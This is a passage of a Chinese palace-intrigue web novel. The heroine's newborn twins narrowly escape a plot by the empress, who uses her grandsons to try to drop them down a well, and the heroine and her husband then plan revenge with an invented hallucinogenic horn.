刁嬷嬷惊出一身冷汗,陛下正在气头上,皇后娘娘让一让说两句软话,这事就过去,皇后娘娘却沉不住气,非要和陛下顶着干。 刁嬷嬷在翊坤宫门口踱来踱去,干着急,小声吩咐采莲。 “快,快去请太子妃,一定要带上两位小皇孙。” 太子登不上台面,可两位小皇孙还是很优秀的。 刁嬷嬷继续竖着耳朵听屋里的动静。 一直跪在一边不敢插话的沈星驰,见老皇帝这次真的动了怒,跪走到老皇帝面前,扯着老皇帝衣角。 “父皇,父皇息怒啊,母后说的只是一时气话,您别往心里去……啊!” 沈星驰为皇后求情,一句话还没说完,胸口结结实实挨了一脚,圆润地后仰一圈,跪趴在地不起来了。 老皇帝是气急了,本就年老体弱,正在气头上,奋力踹出的一脚,踹到了沈星驰身上,自己也跟着踉跄几步,险些没摔倒。 “你这个逆子,朕还没说你,但凡你有点骨气把这些事揽到自己身上,也算落下个‘孝’字,朕佩服你有种。” “可你呢,骄奢淫逸,软弱无能,朕给你请最好的夫子为你启蒙,鸿儒大家做你的老师,你怎么就长成这副样子,扶都扶不起来!” 屋里吵得正凶,太子妃萧蔷来得快,领着沈桓沈烁就进来了。 “谁让你进来的……” “皇爷爷!” 老皇帝正在气头上,本想斥责萧蔷,未经内侍通传就冒冒失失进来了,实在没规矩,刚开口就听见沈桓和沈烁两个孩子脆生生请安声。 老皇帝面色怒色,瞬间消减大半,瞅了一眼萧蔷。 “带孩子出去!” 皇后说完那番大逆不道的话就后悔了,开弓没有回头箭,陛下正气她,她一时间不知如何找补回来,幸好两个小皇孙来了,暗暗松了一口气,对萧蔷摇头,千万别出去。 萧蔷壮着胆子哆里哆嗦没动地方,递给长子沈桓一个眼神。 书中沈惊澜打下天下,没有子嗣,沈惊澜早死后,是沈桓继承的皇位,一个十二岁的孩子,身子虽弱,心智却成熟,也足够聪颖。 沈桓立马会意,单薄瘦小的身体,头重重磕在青石地面上,按照方才刁嬷嬷教他的话,一字不差地说给老皇帝听。 “皇爷爷息怒,皇祖母只是太在乎皇爷爷了,一时糊涂做错了事,绝不是皇祖母本意,父亲也是敬重皇爷爷的。” “夫子说,修身齐家治国平天下,家排在国前面,关上门,我们都是一家人,没有什么过不去的。” 老皇帝闭了闭眼睛,深吸一口气,再睁眼时,略显浑浊的眼底多了几分温清,抱起小沈烁,扶起沈桓。 “你们还小,不要过多掺和大人的事。” 沈桓沈烁齐声说是。 这次老皇帝没瞒着,命人收走了皇后的玺绶,禁足翊坤宫。太子沈星驰禁足东宫,太子册保也被老皇帝收回。 为东宫敛财的“郭河”们,被老皇帝下令拉去菜市口,赶上午时人多的时候砍了他们的脑袋。 户部涉案主要官员被处死,抄家或流放,整个户部大换血。沈惊澜趁机把自己人塞进户部。 太子手里政务差不多有一半都转到沈惊澜手里。 皇后和太子如今等于只留下一个头衔,自顾不暇,她这边暂时安全了,可以安心坐月子了。 温若初坐月子的这个月,沈惊澜比以前更忙了,早出晚归的。 温若初听说老皇帝收走了皇后和太子的玺绶册宝,长长松了一口气。 吃了睡,睡了吃,就这样有规律,还不用干活的生活,没长几两肉,气色瞧着一天比一天好,产下双生子造成的气虚血亏在这一个月里补回来大半。 反观沈惊澜脸色煞白,瞧着很劳累的模样,不怎么好。 赶在沈轩沈煜满月前,老皇帝赏赐下来一座府邸,当做新的荣王府。 是老皇帝还做皇子的时候,先皇赏赐的,当时作为太子行宫,老皇帝登基后,那座行宫就空置下来,一直都有人打理。 无论是家具摆件,还是园林景致,比之前的荣王府气派多了。 出月子之后,温若初又搬家了,在府里转了一圈,对这座府邸很满意,这才像一座亲王府邸。 这下对劲了。 沈轩沈煜的满月宴也是荣王府的乔迁宴。 沈星驰被禁足太子府,沈惊澜如日中天,是老皇帝面前红人,从辰时开始,荣王府门口的马车就没断过。 都城能叫得上名号的几乎都来了。 凌玄礼来得很早,没见温若初,单独找沈惊澜。作为娘家人,他本应该和温若初说话的,除了初到都城那日,有大虞女皇圣旨压着,单独了温若初说了两句话,一直没机会和温若初独处。 即便是有沈惊澜在场,每次和温若初说话的时候,沈惊澜都像个炸毛的大公鸡,对他慢慢的敌意。 久而久之,凌玄礼就放弃了,省去环节,直接找沈惊澜,让沈惊澜代为传话。 凌玄礼递给沈惊澜一个红木盒子。 “送给孩子的,我的一点心意。” 沈惊澜打开,盒子里是一对纯金镶嵌着红蓝宝石的长命锁。 都是男人,心明镜凌玄礼的那点心思,若是之前,这盒子他接都不接,直接把凌玄礼拒之门外。 可能是凌玄礼最近还算收礼,也可能是受到温若初同化,送过来的东西哪有往外推的道理。 沈惊澜收下了一对长命锁,回头递给小辛收起来。 “母子平安,天气也暖和了,”沈惊澜看向凌玄礼,眉宇间不耐和敌意就差直接说出来了,直接问道,“什么时候走?” 第178章 又来邀请温若初回大虞? 凌玄礼没接他的话茬,反而别有深意地勾了勾唇角,笑意里带着几分不易察觉的挑衅。 “前几日上京来信,圣人患了暑热,身子骨不大好,圣人还说,若初公主得空了带孩子回去看看她。” 沈惊澜直视凌玄礼,眯了眯眼睛,墨黑深邃的眸子闪着带着警告意味的寒光。 “麻烦凌大人转告圣人,孩子还小,路途遥远受不起颠簸,假如若初公主思念家乡心切,本王会亲自护送她回去。” “亲自护送”几个字咬得很重。他和女皇有约定,早晚是要送温若初回去的,不过不是现在。 两人每次见面都要闹个半红脸,凌玄礼说了两句话走了。 凌玄礼的存在,让沈惊澜很没有安全感,必须把凌玄礼弄走。 心里厌恶极了凌玄礼,却也深知大虞女皇在温若初心里的分量,凌玄礼走后,沈惊澜回头吩咐小辛。 “去查查大虞女皇近日身体状况。” 小辛应声:“是。” 男子们都在前院巴结沈惊澜,十一个皇子妃还有太子妃萧蔷都来了,朝中重臣家眷贵妇小姐们则都聚集在后院,围着温若初和两位小公子,七嘴八舌,尽是好听的话。 “两位小公子白白胖胖的,一模一样,天庭饱满地阁方圆的,搭眼一瞧将来就有出息。” “荣王殿下人中龙凤,有经天纬地之才,荣王妃是大虞公主,更是聪明能干,后宅料理得井井有条,有这样的双亲,这两个孩子将来错不了。” 面对这些奉承讨好温若初左耳听右耳冒,她和沈惊澜初到都城的时候,人人避之不及,可没人登门说沈惊澜是人中龙凤,她聪明能干,这些话,听听就算了。 温若初笑着谦虚道:“为人父母只能给子女铺路,走成什么样?走到哪?还得看自己。” 众人点头说是,本是平平无奇的一句话,却莫名映射到了某位权贵。 老皇帝费尽心血给沈星驰铺路,沈星驰就像是扶不上墙,还恶心发臭的烂泥。 太子妃萧蔷从登门到现在全程黑着脸,听完温若初这句话,脸色更黑了。 这些见风使舵的长舌妇,不过是看太子遭到训斥被禁了足,就跑来巴结沈惊澜和温若初。 太子可是父皇和母后唯一嫡子,雍国江山正统继承,沈惊澜做的再好,也是给太子当垫脚石的命,折腾出花来也是车辙里的泥鳅,掀不起风浪。 且等着吧,这些人巴结温若初的嘴脸,她一个个的记住了,太子解了禁足,定要一个个的收拾回去。 萧蔷撇了撇嘴。 “常言道水满则溢,月盈则亏,人呐,说话做事还是低调些,可别把自己的后路堵了,挣扎到最后竹篮打水一场空,自己怎么死的都不知道,可就不好了。” 阴阳怪气说完,拧着身子领着沈桓和沈烁走了。 众人嗤之以鼻,这话放在一个月前,不会有任何人质疑,老皇帝对沈星驰的偏爱摆在那,谁都不是傻子,自然看得出来。 可如今不同了,老皇帝把当年做太子时候的宅子都赏赐给沈惊澜,就连两位小公子都是老皇帝亲自赐名,要知道皇孙辈的,除了沈桓沈烁,还没有人有这样的殊荣。 沈惊澜连破大案,得老皇帝赏识,正是如日中天,比当年柳家得势时支持的六皇子沈飞白还要风光。 日后谁得大统,还真说不准了。 四皇子妃净了手,伸手从奶娘手里接过温若初的大儿子沈轩,低头轻声逗了两句孩子,劝慰温若初。 “九弟妹别往心里去,太子妃也是心里难受,才说出那番话。” 温若初还真没把萧蔷的话放在心上,他们越难受,她的心里越舒坦。 这才哪到哪啊,沈惊澜还没入住东宫呢,萧蔷这心里难受得有点早了。 毕竟萧蔷还顶着太子妃头衔,当着这么多皇子妃,命妇贵女的面,不好表现出过于得意的表情。 她一副受了委屈的模样,扯着嘴角,尴尬一笑。 “还好四皇嫂提醒是太子妃娘娘心里难受,不然我这一孕傻三年,又大大咧咧的性子,还是以为是太子妃口臭呢。” 众人一阵低笑,话题又回到了两位小公子身上,太子妃萧蔷似投掷进大海里的一粒小石子,连膈应到旁人的作用都没起到。 四皇子妃端详着怀里婴孩,抬手触了触小沈轩奶呼呼脸蛋。 “这孩子的体温有点冷啊,是不是没注意着凉了。” 两位奶娘赶紧解释,大公子身子状况良好,吃得好睡得好,没见有什么异样。 沈惊澜身上就有寒毒,可别带给孩子,温若初心里咯噔一下。 摸了摸孩子的脸,沈轩睡得踏实,小嘴吧咕咚咕咚的,像是在做梦吃奶水,脸颊红润,温度比她手指的温度还要温一些。 “没有啊?” “是吗?” 四皇子妃不好意思地笑了笑,瞅了温若初一眼,找补方才的话,“那可能是我血热,摸什么都感觉冷。” 方才温若初无意间碰到四皇子妃的手,分明比正常体温偏低,为何要说自己血热? 正疑惑着,温若初像是张了千里眼似的,察觉到有一道熟悉的视线落在她身上,抬眼看去,沈惊澜从月亮门走了进来。 沈惊澜一脸阴翳,两片薄唇紧紧抿成一条直线,三丈之内能明显感受到他身上那种冷厉气息,在温若初的目光投过来的时候,做出一副委屈巴巴,被人欺负的惨样。 沈惊澜如今权势滔天,一人之下万人之上,谁能让他手里委屈? “你们聊着,我给你们添些茶点过来。” 温若初递给黄兰一个眼神。 黄兰道:“起风了,两位小公子月份小,受不得风,奴婢带两位小公子回屋了。” 黄兰从四皇子妃手里接回孩子。 温若初安心起身,去找沈惊澜。 第179章 孩子丢了 不等温若初问,沈惊澜犹豫道。 “前阵子外祖姑母患了暑热……”怕温若初一时急火攻心,紧接着用比平常快的语速补充,“……你别担心,方才已经命人去问过了,外祖姑母的暑热已经好了。” 天机阁总部搬回都城,虽说从大虞上京撤离,却一直和上京那边天机阁分部保持联系,固定时间会传回来消息,上京那边的情况只需要去天机阁查看即可。 温若初的心还没等提起来就放回肚子里,点点头。 “然后呢?” 女皇的暑热好了,沈惊澜不至于闲得蛋疼,特意来和她八卦女皇身体情况。 沈惊澜眉心蹙得很深,脸色不好,像是受到了天大委屈,瞅了温若初一眼。 伸手把凌玄礼托他转交的红木盒子递给温若初,语气淡淡。 “守正给孩子的。” 温若初打开红木盒子,是一对纯金长命锁,镶嵌着红蓝宝石,下面缀着一排小铃铛,做工精细,每一片花纹栩栩如生,一看就是能工巧匠用心打造出来的。 随口夸了一句,“这对长命锁真好看。” 沈惊澜睨了长命锁一眼,神色恹恹的。 “守正的眼光是不错,哪里像我,什么都不会,买点东西还要被人嫌弃。” 温若初:“……” 那是她嫌弃他吗? 分明是沈惊澜今天见这个好买回来,明天见那个好也买回来,好几个库房堆得满满当当,多少家底够他这么拜祸。 她是实在受不了了,才说了沈惊澜两句,哪曾想这小子这么记仇,在这堵她。 温若初眸色顿了一下,她算是看出来了,沈惊澜又来到她面前装委屈,扮可怜,做出一副绿茶精姿态。 有点无奈,却又乐得看到这幅矫揉造作的绿茶姿态怎么回事? 温若初忽然有点理解那些玛丽苏电视剧里那些男主了。 “凌大人送的是你我二人的孩子,又不是我自己的孩子,你又在吃飞醋。” 见小辛那个小尾巴不在沈惊澜身边跟着,她忽然起了逗弄的坏心思,合上红木盒子,随意颠在手里,娇俏眉眼含着笑意看着沈惊澜,一本正经道。 “什么都不会不重要,会造小孩就成呗!” 忽然开了一句黄腔,沈惊澜愣了愣,好像并不反感,微微蹙起的眉头舒展,偏过头,抿成一条直线的唇线上扬起浅浅弧度。 也不知想起了什么,好不容易舒展的眉眼,又皱了起来,一脸认真。 “可是……生孩伤你身子。” 一句话玩笑话,沈惊澜当真了,生这对双生子,温若初没遭什么罪,可也不想在要孩子了,整天挂个大肉球在身上,累得慌。 “‘造小孩’谁说非得是结果了,也可以是动作啊。” 亏得附近没什么人,两人像偷情似的,墙根底下探讨半晌避孕问题。 把沈惊澜哄好了。 尚有半个时辰开席。 等温若初回后宅的时候,原聚集在凉亭这边命妇贵女们都散了。 月儿和秋菊忙着和府里丫鬟,上茶水点心招待命妇贵女们。 黄兰负责后宅守卫,主要负责两个孩子的安全,不见黄兰身影,温若初问秋菊。 “黄兰呢?” 秋菊四下看了看,“方才还在这呢,去小公子房间了吧。” 沈轩,沈煜年纪还小,为方便照顾,以及培养兄弟感情,两个孩子暂时住在一个房间。 当了母亲,一会儿见不到孩子心里都不拖底,温若初径直朝沈轩沈煜房间走去。 房门敞开一条缝,有婴孩哭声传出来。 温若初脑子嗡的一声,一种不好的预感噌地升起,她快步上前,推开门板。 房间里不见黄兰身影,奶娘也不在。 沈星驰和萧蔷的小儿子沈烁趴在沈煜摇床前,蹬着小短腿,双臂张开,似乎是要去抱起躺在摇床里哭闹的沈烁。 另一张摇床里空空如也,大儿子沈轩不知所踪。 温若初有一阵的大脑空白,由于紧张,声音忍不住抬高。 “你在干嘛?” 温若初立马上前抱起小儿子沈煜,一脸警惕地看着面前这个只有四五岁的孩子。 “沈轩弟弟呢?” 沈烁似乎是被她吓到了,小馒头似的双脚并拢站着,肉嘟嘟的小手不安地搓着衣料,低着头,怯声声道。 “沈轩弟弟被哥哥抱走了。” 沈烁口中的哥哥是沈星驰和萧蔷的大儿子沈桓,是书中沈惊澜早死后,承袭雍国皇位的人,十二岁的孩子心智早熟。 沈惊澜和沈星驰之间有着化解不掉的仇恨,沈桓作为沈星驰嫡长子,小小年纪却能承袭沈惊澜的皇位,这个沈桓绝对不单纯。 温若初厉声质问:“去哪了?” 沈烁小脸憋得通红,“哥哥不让说。” 温若初还要继续追问,沈烁竟瘪瘪嘴,“哇——”一声哭了出来,哭的声音很大。 太子妃萧蔷也不知从哪里冲了进来,抱起沈烁,怒目瞪着温若初。 “温若初你好大的胆子,胆敢欺负小皇孙!” 温若初没工夫搭理萧蔷的乱吠,赶紧吩咐人。 “去找大公子!” 立马有两个丫鬟应声走了。 温若初转头看向萧蔷,眼底迸射寒光,刀子一样的目光像是能吃人,冷声道。 “你大儿子把我大儿子抱走了,我大儿子若平安,大家一切安好。” 沈轩若是有什么三长两短,老宅里有从大虞拖来的两门火炮,不介意走一条弯路,直接造反,嘎了老皇帝一家丫的。 萧蔷受温若初身上气势所迫,抱着沈烁小幅度后退两步,眼神躲闪。 门口陆续聚集命妇贵女们来看热闹。 她可是太子妃,还怕她温若初一个亲王妃不成? 萧蔷找回几分底气,挺了挺腰板,昂起下巴。 “谁知道你大儿子去哪了?诬赖皇长孙可是抄家灭族的重罪。” 温若初安抚小儿子沈煜,直视萧蔷。 “好啊,本宫乃大虞公主,九族之内剩下大虞女皇,夫君是正得父皇重用的荣王殿下,你有那个本事就来抄我的家灭我的族,别说是你,就算是父皇来了,也得掂量掂量!” “你……你……” 萧蔷好不容易找回的底气,又被吓没了,脸色煞白,半天说不出话,频频朝门外看。 沈烁止住了哭声,带着哭腔的声音对萧蔷说道。 “快让哥哥回来吧,我不想让弟弟死,弟弟那么小,那么可爱,皇祖母为什么……” 萧蔷赶紧捂住沈烁嘴巴,低声呵斥,“别胡说!” 第180章 谁指使的 沈烁四五岁,发音不标准,又带着哭腔,吐字含糊不清的,别的温若初没听清。 “不想让弟弟死”“外祖姑母”两个关键词,是听得真真切切。 正僵持着,黄兰抱着孩子回来了,带着一身杀伐戾气,恶狠狠剜了一眼萧蔷,看向温若初。 “公主。” 温若初把怀中沈煜交给奶娘,去抱沈轩,掀开襁褓,孩子睡得香甜。 那颗提起来的心才放回肚子里。 “怎么回事?你去哪了?” 黄兰行了一个武将礼,抱拳,单膝跪地。 “属下办事不利……” 一盏茶的功夫之前。 后院两个丫鬟因琐事发生一点口角,动起了手,丫鬟们去劝架劝不开。 今日是两位小公子的满月宴,府里达官显贵众多,不能丢主家的脸,有丫鬟跑来告诉黄兰,黄兰去劝架。 黄兰一手提溜一个让前院小厮关起两个丫鬟,回后院的时候,正好瞧见皇长孙沈桓抱着孩子往后花园去。 “皇长孙殿下,小公子不能受凉,您要抱小公子去哪?” 黄兰不叫沈桓还好,她这一出声,沈桓抱着孩子走得更快了,神色慌慌张张的。 黄兰到底是天机阁一等一高手,脚下生风,纵身一跃,眨眼功夫拦到沈桓面前,眸光犀利,居高临下盯着沈桓,说出的话客气,却带着几分威胁意味。 “皇长孙殿下,您要抱小公子去哪?” 沈桓心智成熟,也不过是个十一二岁的孩子,不会掩饰面上慌乱,抱着小沈轩,紧了紧胳膊,或许是过于用力,襁褓中熟睡的沈轩哇哇大哭。 沈桓更慌了,结结巴巴道。 “我……我要带弟弟去后花园玩。” “小公子刚满月,见不得风,不能去后花园,多谢皇长孙殿下照顾小公子。” 也不管沈桓愿不愿意,黄兰从沈桓手里夺回小沈轩,轻声安抚两下又睡着了。 怕温若初着急,抱着孩子赶紧回来了。 门口众人七嘴八舌。 “要不说打断骨头连着筋呢,堂兄弟感情真好,皇长孙殿下疼爱兄弟,没多大的事,荣王妃娘娘可别一时急坏了身子。” “孩子刚满月,就算是堂兄弟感情好,也不能抱出去啊。” 孩子没事,温若初松了一口气。 萧蔷也松了一口气,白了温若初好几眼,梗了梗脖子。 “大惊小怪,这不是没事?” 一手抱着沈烁,一手领着跟着黄兰身后回来的沈桓,悻悻地扭头就走,围在门口众人自动分开,让出一条路。 黄兰跪地,一脸懊悔之色。 “娘娘让黄兰护着两位小公子,黄兰不该多管闲事,被人钻了空子,是黄兰擅离职守。” 温若初瞅了一眼萧蔷离开的背影,今天是两个孩子的满月宴,参加宴席的达官显贵众多。 沈惊澜如今深受老皇帝赏识,是老皇帝面前红人,飞得太快容易招人眼红,不知道暗处有多少双不怀好意的眼睛盯着荣王府。 等着看荣王府的笑话,等着沈惊澜出错。 孩子到底是平安回来了,又涉及皇长孙,揪着不放,倒显得她这个做婶母的咄咄逼人,在老皇帝那影响不好。 温若初心里有数,暂时不能声张。 温若初深吸一口气,压下心底那口气,让黄兰起来。 温若初对门口命妇贵女们笑道。 “诸位见笑了,宴席马上开始了,诸位请去入座吧,我随后就到。” 遣散门口众人,关上房门,房间里剩下秋菊黄兰,负责喂养两个孩子的奶娘。 温若初把两个孩子都放回摇床,瞅了一眼两个站在门口战战兢兢的奶娘。 两位奶娘赶紧跪地磕头求饶。 “王妃娘娘我们也是看两位小公子睡熟了才出去透口气的。” “你们擅离职守没照看好两位小公子,我也不为难你们,去账房领完这个月的分例,就走吧。” 奶娘都是温若初亲自选的,身世背景没问题,没想到还是险些出了事,都是寻常人家的老实人,不能要求他们像特工一样十八般武艺。 原本是找了四个奶娘的,两两轮值,这两个走了,那两个顶上两日,这两日抓紧时间再寻几位奶娘过来。 还是让黄兰护着两个孩子,让人从前院把冯文叫到后院守门。冯文一个大男人守后宅的门有些不合适,可眼下事多,宾客都在外面等着,孩子安全最重要,顾不得那么多规矩了。 至于两个闹事的小丫鬟,打了一顿,让秋菊从角门叫来人牙子,直接发卖了。 孩子被沈桓抱走,又抱回来,好像真的如旁人想的那样,堂兄喜爱幼小的弟弟,抱出去玩了。 众人散去,都算不上趣事,低声议论两句就没后文了,没掀起任何水花,甚至都没传到前院。 临近散席,温若初笑脸相待,招待众人的同时,眼睛瞄着沈烁,终于得来了沈烁落单的机会。 方才在房间里,沈烁含糊不清的两句话,温若初记到了心里。 今天沈桓抱孩子出去这事,必须得弄明白。 沈烁这孩子,温若初接触过两次,年纪小,心性单纯又善良。 若是背后有隐情,稍加引导,定能套出话来。 从一个四五岁孩子身上下功夫,有些不耻,但温若初是一个母亲,她需要保护自己的孩子,顾不得那些道德大义。 差丫鬟去库房取了两件小孩子喜欢的小玩具,是一只可以蹦的木青蛙,荩草染成翠绿色,后背画了三条深色纹路,眼睛是镶嵌的黑曜石,可以在凹槽里随意滚动。 这样的玩具是沈惊澜命天机阁内匠人做的,各式各样的,有几箱子,都堆在库房。 温若初客套地让一位一直想巴结太子,又苦于没有门路,一位工部侍郎家的娘子多敬萧蔷几杯水酒。 起身借口有事,暂时离席,宽大袖口底下藏着木青蛙。 穿过回廊,状似不经意经过,蹲到沈烁身边,木青蛙在沈烁面前晃了晃。 沈烁拿着一截小木棍,桶石头下的蚂蚁,见到活灵活现木青蛙,一双滴溜溜的眼睛,瞬间瞪大,放光,刚要伸手去拿,瞅见温若初,像是做错了什么事,伸出的小胖手,缩了回去,老鼠见到猫一般,瞬间低下头。 “婶母。” 第181章 半个天机阁主子 温若初脸上带着笑意,尽量让自己看起来不那么面目狰狞。 她看着沈烁,轻声道。 “方才弟弟丢了,婶母一时着急,对你态度不好,吓到了你,这个就当做是婶母给你赔礼道歉的礼物,原谅婶母好不好。” 沈烁抬眼看温若初,点点头,怯懦地接下木青蛙。 “真乖!不生婶母气了?” 沈烁摇摇头。 “夫子有没有说过,口无妄言,心无妄念?” 沈烁点头,“我知道,是《菜根谭》里的句子,‘口无妄言,心无妄念,方得坦然’” 温若初夸了沈烁几句,孩子明显话多了,她继续引导。 “那小孩子更不应该撒谎对不对?” 沈烁点头说是。 温若初深吸一口气,语气平和问道。 “那……能告诉婶母,方才你和皇长孙殿下要抱着两个弟弟去哪里?做什么?” 沈烁头又低下了,不吱声。 “知而不言,也是撒谎的一种哦。”温若初循序善诱。 沈烁犹豫半晌道:“是皇祖母。让我和哥哥抱两个弟弟去后花园。” 温若初刚搬过来没多久,又赶上刚出月子,张罗满月宴,一直没得空仔细逛逛荣王府,只知道是一座占地二十亩的府邸,是老皇帝还是太子时候的行宫,后院有一处能后花园。 她不知道后花园里有什么。 温若初耐着性子追问。 “抱着两个弟弟去后花园做什么?” 沈烁瘪了瘪嘴,“皇祖母说婶母家的两个弟弟会抢我和哥哥的东西,婶母家后花园有一处枯井,让我和哥哥把两个弟弟扔枯井里,这样就没人和我们抢了。” 难怪沈桓抱着孩子朝后花园走。 这座府邸是老皇帝做太子时候的行宫,那时候老皇帝和皇后感情甚笃,两人几乎是形影不离,这座府邸的格局布置,皇后肯定心里门清。 后院有枯井,要不是沈烁说,她自己都不知道。 温若初脑子翁的一声,脸色煞白,后背惊出一层冷汗。 皇后打的一手好算盘,记恨他和沈惊澜,不能把他们怎么样,就把主意打到她儿子身上。 自己被老皇帝禁了足,什么都做不了,就教唆两个小的来杀人。 沈星驰是老皇帝的宝贝疙瘩,沈桓和沈烁较沈星驰更甚。上次若不是太子妃萧蔷带着沈桓和沈烁去求情,太子能不能继续留在东宫不知道。 皇后违逆了后宫不得干政的祖训,又在鄞郡招兵买马意图谋反,桩桩件件都在老皇帝雷区蹦跶,皇后万不会住在翊坤宫。 老皇帝高高举起,又轻轻放下,只是收了皇后玺绶,禁足翊坤宫,太子被禁足,对于皇后和太子来说,也算是绝处逢生了,足见老皇帝对沈桓沈烁的宠爱程度。 今日若是真让沈桓沈烁得手了,她和沈惊澜求告无门,十有八九要走上谋反那条路。 沈烁说着说着哭了起来,“弟弟丢到枯井里会死的,我抱不动弟弟,也不想弟弟死。” 温若初让丫鬟去哄沈烁,她现在实在没那个心思去逗险些杀了她儿子的沈烁开心。 沈烁抱不动孩子,沈桓抱着孩子却健步如飞,若是黄兰没发现,沈桓得手之后,一定会在折返回去,杀另一个。 再或者她没能及时回去,她怀胎十月的两个儿子很可能就…… 温若初有些后怕,手脚冰凉。 皇后这个老太婆是留不得了。 宴席结束,送走宾客,温若初派人请了古叔过来。 温若初端坐椅子上,眉宇间尽是肃然,直接开门见山道。 “我要两颗獬豸角。” 方才听几个命妇闲聊,这几日皇后在翊坤宫精神不大好,睡得也不好,经常做噩梦,说是梦到了柳妃。 柳妃死的时候,温若初在场,那恶狠狠死不瞑目的眼神,死之前瞪的最后一个人是皇后。 临盆之前,皇后弄来一个花嬷嬷,以助她生产的名义故意恶心她,温若初就用了装神弄鬼这一招,吓得花恍恍惚惚,没少遭罪,最后死在刑部。 在花嬷嬷死之前,经常和皇后联系,鬼怪一事,花嬷嬷一定和皇后说过。 如今皇后经常做噩梦能梦到柳妃,想来是她的装神弄鬼伎俩,在皇后那边也起到了效果。 只不过,这效果有点慢,也不大明显。 今日两个孩子险些遭受毒手,后悔没早点弄死那个老太婆,温若初耐心有限,等不及皇后慢慢死。0 皇后被老皇帝禁足,毕竟做了三十年的皇后,后宫根基尚在,翊坤宫太监宫女可随意出入,旁人也能送东西进去。 书中描写獬豸角燃之有异香,有致幻作用,能使人精神错乱,幻听幻视,飘忽欲仙,是西域商人传进来的,因价格高昂,市面很少见到,就连黑市也少有人听说,天机阁常用此物套取情报。 古叔是天机阁元老级人物,类似獬豸角,金疮药,各种乱七八糟毒药,亦或者是解药归古叔说了算。 温若初知道古叔手里有,不然也不能开口就要两颗。 獬豸角属天机阁机密,王妃娘娘是如何知道的? 古叔心底诧异一闪而过,可能又是阁主说的。 獬豸角天机阁有是有,拢共就三颗,前阵子审问鄞郡军饷来源的案子,用了半颗,眼下他手上存货就剩下两颗办,给温若初两颗,他用啥。 古叔坐在椅子里,心里盘算小九九,一脸为难之色。 “这……” 抬眼商量的视线看向温若初,“獬豸角乃阁中重要药物,老夫不能做主啊,要不待老夫回头请示阁主,再来给王妃娘娘……” “给她。” 古叔搪塞温若初的话还没说完,沈惊澜阔步走了进来,言简意赅两个字,她需要的都给她。 发生在后宅那段小插曲,沈惊澜听说了。 千防万防,假意谄媚讨好的朝中官员,明争暗斗的太子残存势力,他的那些兄弟姐妹们,唯独漏了两个看起来不起眼的孩子。 皇后敢动他儿子,他就要让她的儿子付出一些代价。 他不知道温若初要獬豸角做什么,凭直觉温若初要拿它对付皇后。 沈惊澜肯定地瞅了温若初一眼,像是在告诉她,想做什么尽管放手去做,一切有他兜底。 沈惊澜一身枣红色锦袍,身长玉立,眉心微微蹙起,神色凛然,径直走进屋,坐到温若初身边空位。 目光落在温若初身上,话却是对古叔说的。 “王妃可调遣天机阁任意资源,包括且不限于人员,物资,情报。” 第182章 不能同房 只有阁主才有权利无限制调动天机阁资源,言下之意告诉古叔,温若初是天机阁半个主子。 古叔:“……” 獬豸角就剩下两颗半,早晨古叔刚禀告过,阁主又不是不知道,就这么水灵灵的把家底掏出来了? 罢了,谁让人家是阁主呢,怎么折腾,自然是阁主说了算。 古叔妥协地深吸一口气,俗话说娶了媳妇忘了娘,阁主这是娶了媳妇,什么都忘了。 天机阁日后怕是要有两个主子了。 古叔起身恭敬道:“是,老夫记下了。” 从“闲杂人等”到半个主子,差不多一年时间,温若初自己都没想到有朝一日能指使得动天机阁。 温若初看着沈惊澜,嘴角勾起感激弧度,沈惊澜的无条件支持,的确是给了她几分底气,有天机阁任凭她差遣,等于多了无数双遍布各国的耳目,以后办事就方便多了。 古叔就要回去取獬豸角。 温若初叫住古叔,“古叔等一下。” 古叔:“王妃还有何吩咐?” 温若初道:“劳烦古叔为两位小公子再请一次平安脉。” 满月宴没开席的时候,四皇子妃张氏莫名其妙来了一句孩子体温偏低。 沈惊澜身中寒毒,寒毒发作的时候是何等痛苦模样,她是见识过的。 当时人多,装作不在意,温若初还是往心里去了。 两位小公子满月了,并未发现身体有什么异常。温若初希望是自己想多了。 古叔眸色顿了一下,下意识瞅了一眼沈惊澜。 沈惊澜则是偏头打量温若初,蹙了蹙眉心,看向古叔,点点头。 “看看孩子有没有受到惊吓也好。” 古叔应声。 “老夫这就为两位小公子请平安脉。” 受到惊吓要检查,主要是看看孩子有没有寒毒,古叔医术高明,搭一下脉就能查出来,温若初没去纠正沈惊澜的说法。 温若初让嬷嬷把两位小公子抱出来,古叔一一为两位小公子诊脉。 “回阁主,王妃娘娘,两位小公子先天禀赋充盈,后天调护得宜,身体康健着呢。” 温若初长长松了一口气,果然是她多想了。 沈惊澜身体里的寒毒是寒妃为了保护沈惊澜种下的,又不是遗传来的。 两个孩子白白胖胖,娇憨可爱,能吃能睡的,她每天都盯着他们,没发现异常,怎么可能身体偏冷。 晚膳过后,夜幕四合。 温若初和沈惊澜哄着两位小公子睡熟了,让奶娘抱回房间。 温若初挑了挑燃烧烛芯,烛光又亮了一些。 两株獬豸角摆在桌案上,手臂大小,呈弯曲状,乌黑发亮,外观像水牛角。 这玩意燃烧起来有致幻作用,能看到人内心深处最惧怕的东西。 沈惊澜脊背笔直,坐在太师椅里,咂了一口茶,沉默半晌,状似无意道。 “你最怕什么?” 温若初几乎脱口而出,“怕我死了钱没花完。” 见沈惊澜神色肃然,收起玩闹心思,瞅了一眼獬豸角。 自从进入这个世界以来,今日两个孩子险些惨遭毒手,是她最惧怕的。 温若初咬了咬后槽牙,恶狠狠道。 “怕那个老妖婆不死!” 沈惊澜眸色专注,抬手用短小匕首扣弄獬豸角上凹凸纹路。 语气淡淡给她科普獬豸角用法用量。 “每日吸食一些,不出三日,就算不死,也是疯疯癫癫,自主意识全无,和活死人无异。” “这么厉害呢!” 温若初瞪大眼睛看着那两颗獬豸角。 三天就能把人变得不死不活,这么大的两颗獬豸角估计能干翻整个皇宫的人。 怪不得她说要两颗獬豸角,古叔是那种古怪表情。 温若初尴尬地笑了笑,“这两颗……有点多了?” “嗯。” 沈惊澜鼻音嗯了一声,掏出帕子展开,刮掉的獬豸角碎屑刮到帕子上,筷子头大小的一小捏,放在青蓝色帕子中间。 “这些足矣,皇后和老皇帝做了三十几年的夫妻,皇后虽如今禁足翊坤宫,老皇帝和皇后的情分尚在,皇后突然抱恙,老皇帝定会追查到底。” 温若初讷讷点头,她真的是急糊涂了。 抱着这两颗獬豸角送去翊坤宫,和拿着大砍刀抢劫银行,自己找死,有什么区别。 沈惊澜也真是的,不早提醒她,害得她在古叔面前出丑。 两颗獬豸角不能留在家里,可要都要来了,怎么还回去啊? 温若初犯了难,唉声叹气。 沈惊澜整齐叠好包裹獬豸角碎屑的帕子,推到温若初面前。 “这两颗獬豸角……” “我用不上了。” 